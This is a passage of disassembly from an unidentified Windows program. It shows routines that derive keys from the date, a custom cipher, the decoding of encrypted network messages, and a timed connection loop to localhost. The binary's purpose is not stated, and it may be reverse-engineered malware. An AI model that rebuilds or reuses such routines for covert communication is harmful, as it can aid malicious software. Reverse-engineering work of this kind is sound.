		test	[esp+4+arg_0], 1
		jz	short loc_405D32
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_405D32:				; CODE XREF: sub_405D1C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_405D1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D38	proc near		; CODE XREF: sub_4049A1+5Bp
					; sub_406548+27p

var_24		= byte ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	10h
		push	0
		push	ebx
		call	sub_40CCD9
		push	0
		call	sub_40CFAE
		mov	ecx, [ebp+arg_8]
		imul	ecx, 15180h
		add	eax, ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40D0C9
		push	9
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_24]
		rep movsd
		mov	cl, [ebp+var_18]
		mov	eax, [ebp+var_10]
		add	eax, [ebp+arg_C]
		inc	[ebp+var_14]
		lea	esi, [ebx+2]
		mov	[esi], cl
		mov	cl, [ebp+var_C]
		mov	[ebx+3], cl
		mov	cl, byte ptr [ebp+var_14]
		mov	[ebx+5], al
		sar	eax, 8
		push	5
		push	esi
		mov	[ebx+4], cl
		mov	[ebx+6], al
		call	sub_4059D5
		push	5
		push	esi
		mov	[ebx], al
		call	sub_4059EE
		movzx	esi, [ebp+var_18]
		mov	[ebx+1], al
		movzx	eax, [ebp+var_C]
		cdq
		idiv	esi
		mov	cl, byte ptr [ebp+var_14]
		movzx	edi, cl
		mov	eax, esi
		push	10h
		push	ebx
		mov	[ebx+7], dl
		cdq
		idiv	edi
		mov	eax, edi
		mov	[ebx+8], dl
		cdq
		idiv	esi
		mov	al, [ebp+var_C]
		mov	[ebx+9], dl
		mov	dl, [ebp+var_18]
		xor	al, dl
		mov	[ebx+0Ah], al
		mov	al, [ebp+var_C]
		sub	al, dl
		mov	[ebx+0Bh], al
		mov	al, cl
		xor	al, dl
		mov	[ebx+0Ch], al
		mov	al, cl
		imul	dl
		mov	[ebx+0Dh], al
		mov	al, cl
		imul	[ebp+var_C]
		or	cl, [ebp+var_C]
		mov	[ebx+0Eh], al
		mov	[ebx+0Fh], cl
		call	sub_405A07
		add	esp, 2Ch
		xor	esi, esi
		mov	al, [ebp+arg_4]
		mov	cl, 0Dh
		imul	cl


loc_405E18:				; CODE XREF: sub_405D38+ECj
		mov	cl, al
		add	cl, 5Fh
		add	[esi+ebx], cl
		inc	esi
		cmp	esi, 10h
		jl	short loc_405E18
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_405D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E2D	proc near		; CODE XREF: sub_4041F0+Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ecx]
		push	esi
		push	edi
		push	0Ah
		pop	eax
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		call	dword ptr [edx+4]
		mov	esi, eax
		test	esi, esi
		jz	short loc_405E6F
		push	1Eh
		pop	edi
		lea	ecx, [ebp+var_4]
		push	ecx
		push	4
		lea	ecx, [ebp+arg_4]
		mov	[ebp+var_4], edi
		mov	eax, [esi]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+4]
		cmp	eax, 4
		jz	short loc_405E77
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_405E6F:				; CODE XREF: sub_405E2D+1Cj
		xor	eax, eax


loc_405E71:				; CODE XREF: sub_405E2D+66j
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_405E77:				; CODE XREF: sub_405E2D+38j
		mov	eax, [ebp+arg_8]
		xor	[ebp+arg_4], eax
		mov	eax, [esi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	4
		lea	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, esi
		mov	[ebp+arg_0], edi
		call	dword ptr [eax+8]
		mov	eax, esi
		jmp	short loc_405E71
sub_405E2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E95	proc near		; DATA XREF: .rdata:0041BD28o
					; .rdata:0041BD40o ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_405EB3
		mov	ecx, eax
		call	sub_40DD7C
		mov	esi, eax
		jmp	short loc_405EB5
; ---------------------------------------------------------------------------


loc_405EB3:				; CODE XREF: sub_405E95+11j
		xor	esi, esi


loc_405EB5:				; CODE XREF: sub_405E95+1Cj
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_0]
		call	sub_401219
		push	0
		mov	ecx, esi
		call	sub_40DA13
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, esi
		call	sub_40DFF7
		test	eax, eax
		jle	short loc_405EEB
		push	1
		mov	ecx, esi
		call	sub_40DA13
		mov	eax, esi
		jmp	short loc_405EF9
; ---------------------------------------------------------------------------


loc_405EEB:				; CODE XREF: sub_405E95+47j
		test	esi, esi
		jz	short loc_405EF7
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_405EF7:				; CODE XREF: sub_405E95+58j
		xor	eax, eax


loc_405EF9:				; CODE XREF: sub_405E95+54j
		pop	esi
		leave
		retn	0Ch
sub_405E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EFE	proc near		; CODE XREF: sub_405F32+1B2p
					; sub_40615C+16p

arg_0		= dword	ptr  4

		test	byte ptr dword_421D00, 1
		push	esi
		push	edi
		mov	esi, offset dword_421CF0
		jnz	short loc_405F25
		or	dword_421D00, 1
		push	1
		push	offset dword_41BDC8
		push	esi
		call	sub_405B7E
		add	esp, 0Ch


loc_405F25:				; CODE XREF: sub_405EFE+Ej
		mov	eax, [esp+8+arg_0]
		mov	edi, eax
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		retn
sub_405EFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F32	proc near		; CODE XREF: sub_406124+2Bp

var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	[ebp+arg_4]
		call	sub_405BA3
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		mov	[ebp+var_28], ebx
		jge	short loc_405F52
		xor	al, al
		jmp	loc_406100
; ---------------------------------------------------------------------------


loc_405F52:				; CODE XREF: sub_405F32+17j
		test	ebx, ebx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_C]
		movsd
		movsd
		movsd
		lea	ecx, [eax+ebx*2]
		movsd
		movzx	eax, word ptr [ecx]
		jle	short loc_405F71
		movzx	ecx, word ptr [ecx-2]
		jmp	short loc_405F73
; ---------------------------------------------------------------------------


loc_405F71:				; CODE XREF: sub_405F32+37j
		xor	ecx, ecx


loc_405F73:				; CODE XREF: sub_405F32+3Dj
		push	[ebp+arg_C]
		movzx	edi, ax
		movzx	eax, cx
		mov	[ebp+var_20], edi
		shl	edi, 10h
		add	edi, eax
		mov	[ebp+var_1C], edi
		call	sub_405BA3
		pop	ecx
		mov	ecx, eax
		cmp	ecx, ebx
		mov	[ebp+var_18], ecx
		jl	loc_4060CF
		sub	eax, ebx
		lea	esi, [eax+eax]
		lea	edx, [eax-1]
		mov	[ebp+var_4], eax
		lea	eax, [esi-2]
		mov	[ebp+var_8], edx
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], eax
		jmp	short loc_405FB6
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405F32+197j
		mov	edi, [ebp+var_1C]


loc_405FB6:				; CODE XREF: sub_405F32+7Fj
		test	ecx, ecx
		mov	edx, [ebp+arg_C]
		lea	ebx, [ecx+ecx]
		lea	eax, [ebx+edx]
		mov	[ebp+var_24], eax
		movzx	eax, word ptr [eax]
		jle	short loc_405FD0
		movzx	ecx, word ptr [ebx+edx-2]
		jmp	short loc_405FD2
; ---------------------------------------------------------------------------


loc_405FD0:				; CODE XREF: sub_405F32+95j
		xor	ecx, ecx


loc_405FD2:				; CODE XREF: sub_405F32+9Cj
		movzx	eax, ax
		movzx	ecx, cx
		shl	eax, 10h
		add	eax, ecx
		cmp	eax, edi
		setnbe	cl
		test	cl, cl
		jz	short loc_405FEB
		mov	edx, [ebp+var_4]
		jmp	short loc_405FF1
; ---------------------------------------------------------------------------


loc_405FEB:				; CODE XREF: sub_405F32+B2j
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]


loc_405FF1:				; CODE XREF: sub_405F32+B7j
		mov	ebx, edx
		test	ebx, ebx
		mov	[ebp+var_10], edx
		jl	loc_4060CF
		test	cl, cl
		mov	ecx, edi
		jnz	short loc_406007
		mov	ecx, [ebp+var_20]


loc_406007:				; CODE XREF: sub_405F32+D0j
		inc	ecx
		xor	edx, edx
		div	ecx
		movzx	ecx, ax
		test	cx, cx
		jz	loc_4060CF
		mov	edi, [ebp+arg_8]
		add	[esi+edi], cx
		movzx	edx, word ptr [esi+edi]
		cmp	dx, cx
		lea	eax, [ebx+1]
		jnb	short loc_406049


loc_40602B:				; CODE XREF: sub_405F32+115j
		cmp	eax, 8
		jge	short loc_406049
		inc	word ptr [edi+eax*2]
		movzx	edx, word ptr [edi+eax*2]
		xor	ebx, ebx
		test	dx, dx
		setz	bl
		inc	eax
		movzx	edx, bx
		test	dx, dx
		jnz	short loc_40602B


loc_406049:				; CODE XREF: sub_405F32+F7j
					; sub_405F32+FCj
		xor	edx, edx
		cmp	[ebp+var_10], 8
		jge	short loc_406095
		mov	eax, [ebp+var_10]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_C]
		movzx	ebx, cx
		lea	ecx, [esi+eax]


loc_406063:				; CODE XREF: sub_405F32+161j
		movzx	eax, word ptr [edi]
		movzx	esi, word ptr [ecx]
		imul	eax, ebx
		movzx	edx, dx
		add	eax, edx
		mov	edx, esi
		sub	edx, eax
		cmp	si, dx
		mov	[ecx], dx
		sbb	edx, edx
		neg	edx
		shr	eax, 10h
		add	dx, ax
		inc	edi
		inc	edi
		inc	[ebp+var_10]
		inc	ecx
		inc	ecx
		cmp	[ebp+var_10], 8
		movzx	edx, dx
		jl	short loc_406063


loc_406095:				; CODE XREF: sub_405F32+11Dj
		mov	eax, [ebp+var_24]
		cmp	word ptr [eax],	0
		mov	ecx, [ebp+var_18]
		jz	short loc_4060B0
		add	[ebp+var_14], 2
		inc	ecx
		inc	[ebp+var_4]
		inc	[ebp+var_8]
		add	[ebp+var_C], 2


loc_4060B0:				; CODE XREF: sub_405F32+16Dj
		mov	esi, [ebp+var_14]
		sub	[ebp+var_C], 2
		dec	ecx
		dec	[ebp+var_4]
		dec	[ebp+var_8]
		dec	esi
		dec	esi
		cmp	ecx, [ebp+var_28]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], esi
		jge	loc_405FB3


loc_4060CF:				; CODE XREF: sub_405F32+62j
					; sub_405F32+C6j ...
		push	[ebp+arg_4]
		mov	ecx, [ebp+arg_C]
		call	sub_405BB8
		test	al, al
		pop	edi
		pop	esi
		jz	short loc_4060FE
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_405EFE
		pop	ecx
		mov	ecx, [ebp+arg_8]
		push	eax
		call	sub_405BE4
		push	[ebp+arg_4]
		mov	ecx, [ebp+arg_C]
		call	sub_405C21


loc_4060FE:				; CODE XREF: sub_405F32+1ACj
		mov	al, 1


loc_406100:				; CODE XREF: sub_405F32+1Bj
		pop	ebx
		leave
		retn
sub_405F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406103	proc near		; CODE XREF: sub_40615C+6Ep
					; sub_40615C+95p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		movsd
		movsd
		movsd
		movsd
		call	sub_405C62
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_406103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406124	proc near		; CODE XREF: sub_40615C+7Bp
					; sub_40615C+A2p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_40CCD9
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		call	sub_405B46
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405F32
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		leave
		retn
sub_406124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40615C	proc near		; CODE XREF: sub_406231+4Bp

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsd
		call	sub_405EFE
		push	[ebp+arg_8]
		xor	ebx, ebx
		call	sub_405BA3
		cdq
		sub	eax, edx
		sar	eax, 1
		inc	eax
		shl	eax, 5
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	loc_406229


loc_406194:				; CODE XREF: sub_40615C+C7j
		mov	ecx, ebx
		and	ecx, 8000001Fh
		jns	short loc_4061A3
		dec	ecx
		or	ecx, 0FFFFFFE0h
		inc	ecx


loc_4061A3:				; CODE XREF: sub_40615C+40j
		xor	esi, esi
		mov	eax, ebx
		cdq
		inc	esi
		and	edx, 1Fh
		shl	esi, cl
		mov	ecx, [ebp+arg_8]
		add	eax, edx
		sar	eax, 5
		test	[ecx+eax*4], esi
		jz	short loc_4061E5
		push	[ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		call	sub_406103
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_406124
		mov	esi, eax
		movsd
		movsd
		movsd
		add	esp, 0Ch
		movsd


loc_4061E5:				; CODE XREF: sub_40615C+5Dj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10]
		push	eax
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_406103
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_406124
		push	[ebp+arg_8]
		mov	esi, eax
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsd
		inc	ebx
		call	sub_405BA3
		cdq
		sub	eax, edx
		sar	eax, 1
		add	esp, 10h
		inc	eax
		shl	eax, 5
		cmp	ebx, eax
		jl	loc_406194


loc_406229:				; CODE XREF: sub_40615C+32j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40615C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406231	proc near		; CODE XREF: sub_4065D1+83p
					; sub_4065D1+A5p

var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	esi
		push	edi
		push	8
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_405B5A
		push	8
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_20]
		call	sub_405B5A
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp+arg_C], edi
		jbe	short loc_4062A0


loc_40625C:				; CODE XREF: sub_406231+6Dj
		mov	eax, [ebp+arg_8]
		push	8
		add	eax, esi
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_405B5A
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40615C
		push	4
		lea	eax, [ebp+var_40]
		push	eax
		mov	eax, [ebp+arg_10]
		add	eax, edi
		push	eax
		call	sub_40CCF7
		add	esi, 8
		add	esp, 1Ch
		add	edi, 4
		cmp	esi, [ebp+arg_C]
		jb	short loc_40625C


loc_4062A0:				; CODE XREF: sub_406231+29j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_406231	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062A6	proc near		; DATA XREF: sub_406E37+188o

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx


loc_4062B0:				; CODE XREF: sub_4062A6+D5j
		cmp	byte ptr [esi+0A0h], 0
		jz	loc_406366
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		lea	edi, [esi+0B4h]
		push	edi
		mov	[ebp+var_8], eax
		call	ds:dword_4180DC
		mov	ecx, esi
		call	sub_4049A1
		push	edi
		mov	bl, al
		call	ds:dword_4180E0
		test	bl, bl
		jnz	short loc_4062FC
		push	[ebp+var_8]
		mov	ecx, esi
		push	7F000001h
		call	sub_404552
		test	al, al
		jz	short loc_406366


loc_4062FC:				; CODE XREF: sub_4062A6+41j
		cmp	byte ptr [esi+78h], 0
		jz	short loc_40631D
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403AA0
		lea	ecx, [ebp+var_4]
		call	sub_40DB59


loc_40631D:				; CODE XREF: sub_4062A6+5Aj
					; sub_4062A6+B7j
		lea	edi, [esi+0ACh]
		push	edi
		mov	ecx, esi
		call	sub_403B7F
		mov	ecx, esi
		call	sub_403DE0
		cmp	byte ptr [esi+0A0h], 0
		jz	short loc_40635F
		push	dword ptr [esi+9Ch]
		mov	ecx, esi
		call	sub_403ED0
		test	al, al
		jz	short loc_40635F
		push	1
		push	0DBBA0h
		push	dword ptr [edi]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	short loc_40631D


loc_40635F:				; CODE XREF: sub_4062A6+93j
					; sub_4062A6+A4j
		mov	ecx, esi
		call	sub_40426A


loc_406366:				; CODE XREF: sub_4062A6+11j
					; sub_4062A6+54j
		push	1
		push	0EA60h
		push	dword ptr [esi+0ACh]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_4062B0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4062A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406388	proc near		; CODE XREF: sub_406548+4Bp

var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+4]
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		mov	ecx, [edi+4]
		mov	esi, eax
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		and	[ebp+var_6], 0
		movzx	eax, ax
		mov	[ebp+var_8], ax
		mov	[ebp+var_C], si
		lea	eax, [ebp+var_C]
		push	8
		shr	esi, 10h
		push	eax
		mov	[ebp+var_A], si
		call	sub_4059EE
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_C]
		push	8
		push	eax
		call	sub_4059D5
		mov	edi, [ebp+arg_0]
		xor	ecx, ecx
		mov	ch, al
		push	10h
		push	0
		push	edi
		mov	cl, [ebp+var_1]
		mov	[ebp+var_6], cx
		call	sub_40CCD9
		push	0
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		add	esp, 24h
		xor	esi, esi


loc_4063FE:				; CODE XREF: sub_406388+A9j
		call	sub_40CF34
		and	al, 0F0h
		mov	[esi+edi], al
		xor	edx, edx
		mov	byte ptr [ebp+arg_0+3],	al


loc_40640D:				; CODE XREF: sub_406388+9Dj
		mov	ax, [ebp+edx*2+var_C]
		mov	cx, si
		shr	ax, cl
		mov	ecx, edx
		and	al, 1
		shl	al, cl
		or	byte ptr [ebp+arg_0+3],	al
		inc	edx
		cmp	edx, 4
		jl	short loc_40640D
		mov	al, byte ptr [ebp+arg_0+3]
		mov	[esi+edi], al
		inc	esi
		cmp	esi, 10h
		jl	short loc_4063FE
		push	10h
		push	edi
		call	sub_405A07
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_406388	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406443	proc near		; CODE XREF: sub_40694B+B8p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	sub_40CF34
		mov	esi, eax
		shl	esi, 10h
		call	sub_40CF34
		push	1Eh
		pop	edi
		lea	ecx, [ebp+var_4]
		push	ecx
		or	eax, esi
		mov	esi, [ebp+arg_0]
		push	4
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	eax, [esi]
		push	ecx
		mov	ecx, esi
		mov	[ebp+var_4], edi
		call	dword ptr [eax+8]
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	4
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	ecx, esi
		mov	[ebp+var_4], edi
		call	dword ptr [eax+4]
		cmp	eax, 4
		pop	edi
		pop	esi
		jz	short loc_406498
		xor	al, al
		jmp	short locret_4064A6
; ---------------------------------------------------------------------------


loc_406498:				; CODE XREF: sub_406443+4Fj
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		inc	eax

locret_4064A6:				; CODE XREF: sub_406443+53j
		leave
		retn	8
sub_406443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064AA	proc near		; DATA XREF: .rdata:0041BDE8o

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-94h]
		mov	[ebp+var_8], ecx
		call	sub_40428C
		test	al, al
		jz	short loc_406543
		push	ebx
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		xor	ebx, ebx
		push	ebx
		push	offset dword_41BDD4
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	dword ptr [esi-24h]
		lea	ecx, [ebp+var_4]
		call	sub_40DBF8
		push	ebx
		mov	edi, offset asc_41BCC0 ; "~!"
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_4]
		call	sub_40DBF8
		push	ebx
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		cmp	[esi-1Bh], bl
		mov	eax, offset a1	; "1"
		jnz	short loc_40651B
		mov	eax, offset a0	; "0"


loc_40651B:				; CODE XREF: sub_4064AA+6Aj
		push	ebx
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		mov	ecx, [ebp+var_8]
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4048D8
		lea	ecx, [ebp+var_4]
		mov	bl, al
		call	sub_40DB59
		pop	edi
		mov	al, bl
		pop	ebx


loc_406543:				; CODE XREF: sub_4064AA+18j
		pop	esi
		leave
		retn	4
sub_4064AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406548	proc near		; CODE XREF: sub_406B31+1Bp

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	al, [ebp+arg_8]
		sub	esp, 10h
		neg	al
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		sbb	eax, eax
		and	eax, 0FFFFF894h
		add	eax, 76Ch
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	[ebp+arg_0]
		push	eax
		call	sub_405D38
		lea	edi, [esi+0A8h]
		cmp	dword ptr [edi], 0
		jnz	short loc_406598
		push	10h
		call	sub_40D0BB
		pop	ecx
		push	eax
		mov	ecx, edi
		call	sub_408034
		push	dword ptr [edi]
		mov	ecx, esi
		call	sub_406388


loc_406598:				; CODE XREF: sub_406548+35j
		lea	ebx, [esi+0B4h]
		push	ebx
		call	ds:dword_4180DC
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	0B4h
		push	14h
		push	offset dword_41BDD8
		push	dword ptr [edi]
		lea	edx, [ebp+var_10]
		push	edx
		call	dword ptr [eax+8]
		push	ebx
		mov	esi, eax
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_406548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4065D1	proc near		; CODE XREF: sub_40694B+193p

var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	esi, ecx
		lea	ecx, [ebp+var_C]
		push	ecx
		push	8
		lea	ecx, [ebp+var_1C]
		push	ecx
		mov	ecx, edi
		mov	[ebp+var_C], 1Eh
		call	dword ptr [eax+4]
		cmp	eax, 8
		jnz	loc_4066AD
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	4
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+4]
		cmp	eax, 4
		jnz	loc_4066AD
		push	[ebp+var_8]
		call	sub_40D0BB
		pop	ecx
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_8]
		mov	ebx, eax
		mov	eax, [edi]
		push	ebx
		mov	ecx, edi
		mov	[ebp+var_4], ebx
		call	dword ptr [eax+4]
		cmp	[ebp+var_8], eax
		jz	short loc_406643
		test	ebx, ebx
		jz	short loc_4066AD
		push	ebx
		jmp	short loc_4066A7
; ---------------------------------------------------------------------------


loc_406643:				; CODE XREF: sub_4065D1+69j
		lea	eax, [ebp+var_14]
		push	eax
		push	8
		push	ebx
		mov	edi, offset dword_421AC8
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_406231
		mov	ebx, [ebp+var_8]
		add	ebx, 0FFFFFFF8h
		push	ebx
		call	sub_40D0BB
		push	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		push	ebx
		add	eax, 8
		push	eax
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_406231
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_14]
		call	sub_405A69
		mov	ebx, eax
		add	esp, 38h
		test	ebx, ebx
		jnz	short loc_4066B4
		cmp	[ebp+arg_0], eax
		jz	short loc_40669E
		push	[ebp+arg_0]
		call	sub_40D0B6
		pop	ecx


loc_40669E:				; CODE XREF: sub_4065D1+C2j
		cmp	[ebp+var_4], 0
		jz	short loc_4066AD
		push	[ebp+var_4]


loc_4066A7:				; CODE XREF: sub_4065D1+70j
		call	sub_40D0B6
		pop	ecx


loc_4066AD:				; CODE XREF: sub_4065D1+29j
					; sub_4065D1+43j ...
		xor	al, al
		jmp	loc_406755
; ---------------------------------------------------------------------------


loc_4066B4:				; CODE XREF: sub_4065D1+BDj
		push	6
		xor	edx, edx
